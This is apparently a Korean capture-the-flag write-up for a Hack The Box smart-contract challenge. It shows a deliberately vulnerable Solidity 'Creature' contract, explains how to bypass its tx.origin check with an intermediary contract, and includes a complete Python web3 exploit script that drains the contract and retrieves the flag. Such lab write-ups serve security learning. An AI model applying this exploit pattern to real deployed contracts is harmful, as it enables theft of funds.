Creature.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Creature {
    uint256 public lifePoints;
    address public aggro;

    constructor() payable {
        lifePoints = 1000;
    }

    function attack(uint256 _damage) external {
        if (aggro == address(0)) {
            aggro = msg.sender;
        }

        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;
        } else {
            lifePoints -= 0;
        }
    }

    function loot() external {
        require(lifePoints == 0, "Creature is still alive!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function _isOffBalance() private view returns (bool) {
        return tx.origin != msg.sender;
    }
}

 

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Creature} from "./Creature.sol";

contract Setup {
    Creature public immutable TARGET;

    constructor() payable {
        require(msg.value == 1 ether);
        TARGET = new Creature{value: 10}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

 

tx.origin과 msg.sender가 달라야 한다. tx.origin은 EOA로 고정이므로 중간에 attack을 호출하는 Middle 컨트랙트를 배포하여 msg.sender가 Middle 컨트랙트의 주소가 되도록 하면 된다. 또한, aggro가 msg.sender와 달라야 하고 초기값인 0이면 msg.sender로 설정되므로 tx.origin에서 우선 attack함수를 호출하여 aggro를 tx.origin으로 설정해줘야 한다.

 

from web3 import Web3
import requests
import json
from solcx import *

url = "http://94.237.63.83:39628"
key = json.loads(requests.get(url + "/connection_info").content)

privkey = key["PrivateKey"]
target_addr = key["TargetAddress"]
pub_address = key["Address"]

w3 = Web3(Web3.HTTPProvider(url + "/rpc"))
assert w3.is_connected() == True

dir_contract = w3.eth.contract(address=target_addr, abi = open('creature.json','r').read())

# set aggro to tx.origin
dir_contract.functions.attack(1000).transact()

source_code = """
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Middle {
    constructor (address target, uint256 _damage) {
        (bool success, bytes memory result) = target.call(abi.encodeWithSignature("attack(uint256)", _damage));
        require(success, string(result));
    }
}
"""

compiled_sol = compile_source(source_code, output_values=["abi", "bin"])
_, contract_interface = compiled_sol.popitem()
bytecode = contract_interface["bin"]
abi2 = contract_interface["abi"]
contract2 = w3.eth.contract(abi=abi2, bytecode=bytecode)

transaction = contract2.constructor(target_addr, 1000).build_transaction(
    {
        "chainId": w3.eth.chain_id,
        "gasPrice": w3.eth.gas_price,
        "from": pub_address,
        "nonce": w3.eth.get_transaction_count(pub_address),
        "value": 0 
    }
)

sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=privkey)
tx_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(tx_receipt)

print(dir_contract.functions.lifePoints().call())
dir_contract.functions.loot().transact()
print(requests.get(url + '/flag').content)

'wargame' 카테고리의 다른 글

Ethernaut Re-entrancy (feat. 뻘짓)  (0) 2024.07.22
hackthebox - Honor Among Thieves  (1) 2024.05.15
hackthebox - Survival of the Fittest  (0) 2024.05.10

+ Recent posts